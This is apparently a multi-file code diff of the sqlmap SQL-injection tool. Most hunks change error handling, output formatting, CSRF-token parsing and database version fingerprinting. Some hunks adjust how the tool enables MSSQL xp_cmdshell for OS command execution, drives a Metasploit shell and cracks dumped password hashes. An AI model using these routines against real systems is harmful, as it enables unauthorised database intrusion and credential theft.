+            if seq1 is None or seq2 is None:
+                return None

-        while True:
-            try:
-                seqMatcher.set_seq1(seq1)
-            except MemoryError:
-                seq1 = seq1[:len(seq1) / 1024]
-            else:
-                break
+            seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
+            seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")

-        while True:
-            try:
-                seqMatcher.set_seq2(seq2)
-            except MemoryError:
-                seq2 = seq2[:len(seq2) / 1024]
-            else:
-                break
+            seqMatcher.set_seq1(seq1)
+            seqMatcher.set_seq2(seq2)

-        ratio = round(seqMatcher.quick_ratio(), 3)
+            ratio = round(seqMatcher.quick_ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if kb.matchRatio is None:
-        if (count or ratio >= LOWER_RATIO_BOUND) and ratio <= UPPER_RATIO_BOUND:
+        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
            kb.matchRatio = ratio
            logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)

@@ -122,7 +122,10 @@ class Connect(object):

    @staticmethod
    def _getPageProxy(**kwargs):
-        return Connect.getPage(**kwargs)
+        try:
+            return Connect.getPage(**kwargs)
+        except RuntimeError:
+            return None, None, None

    @staticmethod
    def _retryProxy(**kwargs):
@@ -144,7 +147,7 @@ class Connect(object):
            warnMsg = "most probably web server instance hasn't recovered yet "
            warnMsg += "from previous timed based payload. If the problem "
            warnMsg += "persists please wait for few minutes and rerun "
-            warnMsg += "without flag T in option '--technique' "
+            warnMsg += "without flag 'T' in option '--technique' "
            warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
            warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
            singleTimeWarnMessage(warnMsg)
@@ -373,6 +376,9 @@ class Connect(object):
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

+            if conf.keepAlive:
+                headers[HTTP_HEADER.CONNECTION] = "keep-alive"
+
            # Reset header values to original in case of provided request file
            if target and conf.requestFile:
                headers = OrderedDict(conf.httpHeaders)
@@ -613,14 +619,21 @@ class Connect(object):
            elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
                warnMsg = "connection was forcibly closed by the target URL"
            elif "timed out" in tbMsg:
-                singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
-                conf.disablePrecon = True
+                if not conf.disablePrecon:
+                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
+                    conf.disablePrecon = True
+
+                    if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
+                        kb.responseTimes.clear()

                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
                warnMsg = "connection timed out to the target URL"
            elif "URLError" in tbMsg or "error" in tbMsg:
                warnMsg = "unable to connect to the target URL"
+                match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
+                if match:
+                    warnMsg += " ('%s')" % match.group(1).strip()
            elif "NTLM" in tbMsg:
                warnMsg = "there has been a problem with NTLM authentication"
            elif "BadStatusLine" in tbMsg:
@@ -639,7 +652,7 @@ class Connect(object):
            else:
                warnMsg = "unable to connect to the target URL"

-            if "BadStatusLine" not in tbMsg:
+            if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += " or proxy"

            if silent:
@@ -786,9 +799,20 @@ class Connect(object):
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
-                    payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
-                    value = agent.replacePayload(value, payload)
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
+                    skip = False
+
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
+                        if kb.cookieEncodeChoice is None:
+                            msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
+                            choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N')
+                            kb.cookieEncodeChoice = choice.upper().strip() == "Y"
+                        if not kb.cookieEncodeChoice:
+                            skip = True
+
+                    if not skip:
+                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        value = agent.replacePayload(value, payload)

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -825,9 +849,13 @@ class Connect(object):

        if PLACE.GET in conf.parameters:
            get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
+        elif place == PLACE.GET:  # Note: for (e.g.) checkWaf() when there are no GET parameters
+            get = value

        if PLACE.POST in conf.parameters:
            post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
+        elif place == PLACE.POST:
+            post = value

        if PLACE.CUSTOM_POST in conf.parameters:
            post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
@@ -856,15 +884,23 @@ class Connect(object):
        if conf.csrfToken:
            def _adjustParameter(paramString, parameter, newValue):
                retVal = paramString
-                match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
+                match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
                if match:
-                    retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(match.group(0), "%s=%s" % (parameter, newValue), paramString)
+                else:
+                    match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
+                    if match:
+                        retVal = re.sub(match.group(0), "%s%s" % (match.group(1), newValue), paramString)
                return retVal

            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
            match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "")
            token = (match.group(2) or match.group(3) or match.group(4)) if match else None

+            if not token:
+                match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
+                token = match.group(1) if match else None
+
            if not token:
                if conf.csrfUrl != conf.url and code == httplib.OK:
                    if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -956,7 +992,7 @@ class Connect(object):

            while True:
                try:
-                    compiler.parse(conf.evalCode.replace(';', '\n'))
+                    compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
                except SyntaxError, ex:
                    original = replacement = ex.text.strip()
                    for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
@@ -284,7 +284,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

-    return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None
+    return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None

 def _goBooleanProxy(expression):
    """
@@ -432,7 +432,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
-                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", expression)) if re.search(r"(?i)SELECT.+FROM", expression) else None
+                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import os
 import re
+import select
 import sys
 import tempfile
 import time
@@ -47,8 +48,6 @@ from lib.core.subprocessng import recv_some

 if IS_WIN:
    import msvcrt
-else:
-    from select import select

 class Metasploit:
    """
@@ -550,7 +549,7 @@ class Metasploit:
                            # Probably the child has exited
                            pass
                else:
-                    ready_fds = select([stdin_fd], [], [], 1)
+                    ready_fds = select.select([stdin_fd], [], [], 1)

                    if stdin_fd in ready_fds[0]:
                        try:
@@ -598,7 +597,7 @@ class Metasploit:
                    else:
                        proc.kill()

-            except (EOFError, IOError):
+            except (EOFError, IOError, select.error):
                return proc.returncode

    def createMsfShellcode(self, exitfunc, format, extra, encode):
@@ -45,7 +45,7 @@ class Xp_cmdshell:
    def _xpCmdshellCreate(self):
        cmd = ""

-        if Backend.isVersionWithin(("2005", "2008", "2012")):
+        if not Backend.isVersionWithin(("2000",)):
            logger.debug("activating sp_OACreate")

            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
@@ -56,7 +56,7 @@ class Xp_cmdshell:

        cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)

-        if Backend.isVersionWithin(("2005", "2008")):
+        if not Backend.isVersionWithin(("2000",)):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))
@@ -83,10 +83,10 @@ class Xp_cmdshell:
        return cmd

    def _xpCmdshellConfigure(self, mode):
-        if Backend.isVersionWithin(("2005", "2008")):
-            cmd = self._xpCmdshellConfigure2005(mode)
-        else:
+        if Backend.isVersionWithin(("2000",)):
            cmd = self._xpCmdshellConfigure2000(mode)
+        else:
+            cmd = self._xpCmdshellConfigure2005(mode)

        inject.goStacked(agent.runAsDBMSUser(cmd))

@@ -111,8 +111,8 @@ class Xp_cmdshell:
            errMsg += "storing console output within the back-end file system "
            errMsg += "does not have writing permissions for the DBMS process. "
            errMsg += "You are advised to manually adjust it with option "
-            errMsg += "--tmp-path switch or you will not be able to retrieve "
-            errMsg += "the commands output"
+            errMsg += "'--tmp-path' or you won't be able to retrieve "
+            errMsg += "the command(s) output"
            logger.error(errMsg)
        elif isNoneValue(output):
            logger.error("unable to retrieve xp_cmdshell output")
@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import dataToStdout
 from lib.core.common import decodeHexValue
 from lib.core.common import extractRegexResult
+from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
 from lib.core.common import getUnicode
 from lib.core.common import hashDBRetrieve
@@ -43,6 +44,7 @@ from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
 from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
 from lib.core.settings import NULL
 from lib.core.settings import PARTIAL_VALUE_MARKER
+from lib.core.settings import ROTATING_CHARS
 from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
 from lib.core.settings import SQL_SCALAR_REGEX
 from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
@@ -54,6 +56,7 @@ from lib.utils.progress import ProgressBar

 def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
+    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)
@@ -173,8 +176,16 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                    else:
                        break

-                    if kb.fileReadMode and output:
-                        dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
+                    if output:
+                        if kb.fileReadMode:
+                            dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
+                        elif offset > 1:
+                            rotator += 1
+
+                            if rotator >= len(ROTATING_CHARS):
+                                rotator = 0
+
+                            dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
@@ -203,6 +214,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
    values = []
    origExpr = None

+    width = getConsoleWidth()
    threadData = getCurrentThreadData()

    for field in expressionFieldsList:
@@ -229,7 +241,12 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
            if kb.fileReadMode and output and output.strip():
                print
            elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
-                dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output)))
+                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))
+
+                if len(status) > width:
+                    status = "%s..." % status[:width - 3]
+
+                dataToStdout("%s\n" % status)

        if isinstance(num, int):
            expression = origExpr
@@ -53,10 +53,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
-            infoMsg = "ORDER BY technique seems to be usable. "
+            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
@@ -328,12 +328,13 @@ def unionUse(expression, unpack=True, dump=False):
                                    del threadData.shared.buffered[0]

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
-                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items))
+                                _ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
+                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

-                                dataToStdout("%s\n" % status, True)
+                                dataToStdout("%s\n" % status)

                runThreads(numThreads, unionThread)

@@ -31,6 +31,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.defaults import _defaults
 from lib.core.enums import CONTENT_STATUS
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import PART_RUN_CONTENT_TYPES
 from lib.core.exception import SqlmapConnectionException
 from lib.core.log import LOGGER_HANDLER
@@ -643,7 +644,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
    REST-JSON API server
    """
    DataStore.admin_id = hexencode(os.urandom(16))
-    Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1]
+    Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)[1]

    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
    logger.info("Admin ID: %s" % DataStore.admin_id)
@@ -22,6 +22,7 @@ from lib.core.common import safeCSValue
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
@@ -198,7 +199,7 @@ def storeResultsToFile(results):
        kb.storeCrawlingChoice = test[0] in ("y", "Y")

    if kb.storeCrawlingChoice:
-        handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt")
+        handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
        os.close(handle)

        infoMsg = "writing crawling results to a temporary file '%s' " % filename
@@ -30,6 +30,7 @@ import os
 import re
 import tempfile
 import time
+import zipfile

 from hashlib import md5
 from hashlib import sha1
@@ -61,6 +62,8 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import DBMS
 from lib.core.enums import HASH
+from lib.core.enums import MKSTEMP_PREFIX
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import COMMON_PASSWORD_SUFFIXES
 from lib.core.settings import COMMON_USER_COLUMNS
@@ -385,7 +388,7 @@ def storeHashesToFile(attack_dict):
    if not kb.storeHashesChoice:
        return

-    handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt")
+    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
    os.close(handle)

    infoMsg = "writing hashes to a temporary file '%s' " % filename
@@ -491,7 +494,7 @@ def attackDumpedTable():

            for (_, hash_, password) in results:
                if hash_:
-                    lut[hash_.lower()] = getUnicode(password)
+                    lut[hash_.lower()] = password

            infoMsg = "postprocessing table dump"
            logger.info(infoMsg)
@@ -502,7 +505,7 @@ def attackDumpedTable():
                        value = table[column]['values'][i]

                        if value and value.lower() in lut:
-                            table[column]['values'][i] += " (%s)" % lut[value.lower()]
+                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
                            table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))

 def hashRecognition(value):
@@ -786,6 +789,14 @@ def dictionaryAttack(attack_dict):
                    for dictPath in dictPaths:
                        checkFile(dictPath)

+                        if os.path.splitext(dictPath)[1].lower() == ".zip":
+                            _ = zipfile.ZipFile(dictPath, 'r')
+                            if len(_.namelist()) == 0:
+                                errMsg = "no file(s) inside '%s'" % dictPath
+                                raise SqlmapDataException(errMsg)
+                            else:
+                                _.open(_.namelist()[0])
+
                    kb.wordlists = dictPaths

                except Exception, ex:
@@ -11,14 +11,17 @@ from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
+from lib.core.common import getUnicode
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.dicts import DUMP_REPLACEMENTS
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import EXPECTED
 from lib.core.exception import SqlmapConnectionException
@@ -134,10 +137,13 @@ def pivotDumpTable(table, colList, count=None, blind=True):
                value = _(column, pivotValue)
                if column == colList[0]:
                    if isNoneValue(value):
-                        for pivotValue in filter(None, ("  " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
-                            value = _(column, pivotValue)
-                            if not isNoneValue(value):
-                                break
+                        try:
+                            for pivotValue in filter(None, ("  " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
+                                value = _(column, pivotValue)
+                                if not isNoneValue(value):
+                                    break
+                        except ValueError:
+                            pass

                    if isNoneValue(value):
                        breakRetrieval = True
@@ -156,10 +162,12 @@ def pivotDumpTable(table, colList, count=None, blind=True):

                value = "" if isNoneValue(value) else unArrayizeValue(value)

-                lengths[column] = max(lengths[column], len(value) if value else 0)
+                lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                entries[column].append(value)

    except KeyboardInterrupt:
+        kb.dumpKeyboardInterrupt = True
+
        warnMsg = "user aborted during enumeration. sqlmap "
        warnMsg += "will display partial output"
        logger.warn(warnMsg)
@@ -106,12 +106,6 @@ class Fingerprint(GenericFingerprint):
        if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
           or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-            v = Backend.getVersion().replace(">", "")
-            v = v.replace("=", "")
-            v = v.replace(" ", "")
-
-            Backend.setVersion(v)
-
            setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))

            self.getBanner()
@@ -83,12 +83,6 @@ class Fingerprint(GenericFingerprint):
        if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \
           or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-            v = Backend.getVersion().replace(">", "")
-            v = v.replace("=", "")
-            v = v.replace(" ", "")
-
-            Backend.setVersion(v)
-
            setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("1.7.2"):
@@ -41,7 +41,7 @@ class Connector(GenericConnector):

        try:
            self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            raise SqlmapConnectionException(msg)

        self.initCursor()
@@ -50,7 +50,7 @@ class Connector(GenericConnector):
    def fetchall(self):
        try:
            return self.cursor.fetchall()
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
            return None

@@ -93,7 +93,9 @@ class Fingerprint(GenericFingerprint):
            for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
                                    ("2005", "XACT_STATE()=XACT_STATE()"), \
                                    ("2008", "SYSDATETIME()=SYSDATETIME()"), \
-                                    ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)")):
+                                    ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
+                                    ("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
+                                    ("2016", "ISJSON(NULL) IS NULL")):
                result = inject.checkBooleanExpression(check)

                if result:
@@ -10,10 +10,13 @@ import re
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.common import getUnicode
+from lib.core.common import hashDBRetrieve
+from lib.core.common import hashDBWrite
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import DBMS
+from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import OS
 from lib.core.session import setDbms
 from lib.core.settings import MYSQL_ALIASES
@@ -37,17 +40,18 @@ class Fingerprint(GenericFingerprint):

            return None

-        # MySQL valid versions updated on 04/2011
+        # Reference: https://downloads.mysql.com/archives/community/
        versions = (
                     (32200, 32235),    # MySQL 3.22
                     (32300, 32359),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40131),    # MySQL 4.1
                     (50000, 50092),    # MySQL 5.0
-                     (50100, 50156),    # MySQL 5.1
+                     (50100, 50172),    # MySQL 5.1
                     (50400, 50404),    # MySQL 5.4
-                     (50500, 50521),    # MySQL 5.5
-                     (50600, 50604),    # MySQL 5.6
+                     (50500, 50549),    # MySQL 5.5
+                     (50600, 50630),    # MySQL 5.6
+                     (50700, 50712),    # MySQL 5.7
                     (60000, 60014),    # MySQL 6.0
                   )

@@ -103,6 +107,10 @@ class Fingerprint(GenericFingerprint):
        value += "back-end DBMS: "
        actVer = Format.getDbms()

+        _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
+        if _:
+            actVer += " (%s fork)" % _
+
        if not conf.extensiveFp:
            value += actVer
            return value
@@ -145,12 +153,6 @@ class Fingerprint(GenericFingerprint):
        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-            v = Backend.getVersion().replace(">", "")
-            v = v.replace("=", "")
-            v = v.replace(" ", "")
-
-            Backend.setVersion(v)
-
            setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("5"):
@@ -177,6 +179,9 @@ class Fingerprint(GenericFingerprint):

                return False

+            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
+                hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "")
+
            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

@@ -102,7 +102,8 @@ class Fingerprint(GenericFingerprint):
            infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
            logger.info(infoMsg)

-            for version in ("11i", "10g", "9i", "8i"):
+            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
+            for version in ("12c", "11g", "10g", "9i", "8i"):
                number = int(re.search("([\d]+)", version).group(1))
                output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))

@@ -41,7 +41,7 @@ class Connector(GenericConnector):

        try:
            self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            raise SqlmapConnectionException(msg)

        self.initCursor()
@@ -50,7 +50,7 @@ class Connector(GenericConnector):
    def fetchall(self):
        try:
            return self.cursor.fetchall()
-        except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
            return None

@@ -450,7 +450,7 @@ class Databases:

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
-                errMsg += "back-end DBMS is Access"
+                errMsg += "back-end DBMS is %s" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

@@ -19,9 +19,7 @@ from lib.core.common import isListLike
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
-from lib.core.common import popValue
 from lib.core.common import prioritySortColumns
-from lib.core.common import pushValue
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unArrayizeValue
@@ -214,8 +212,7 @@ class Entries:
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

-                                _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
-                                maxLen = max(len(column), _)
+                                maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen
@@ -294,8 +291,11 @@ class Entries:
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
+                            debugMsg = "checking for empty columns"
+                            logger.debug(infoMsg)
+
                            for column in colList:
-                                if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
+                                if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
@@ -329,8 +329,7 @@ class Entries:
                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

-                                    _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
-                                    lengths[column] = max(lengths[column], len(_))
+                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
@@ -28,6 +28,7 @@ from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapUndefinedMethod
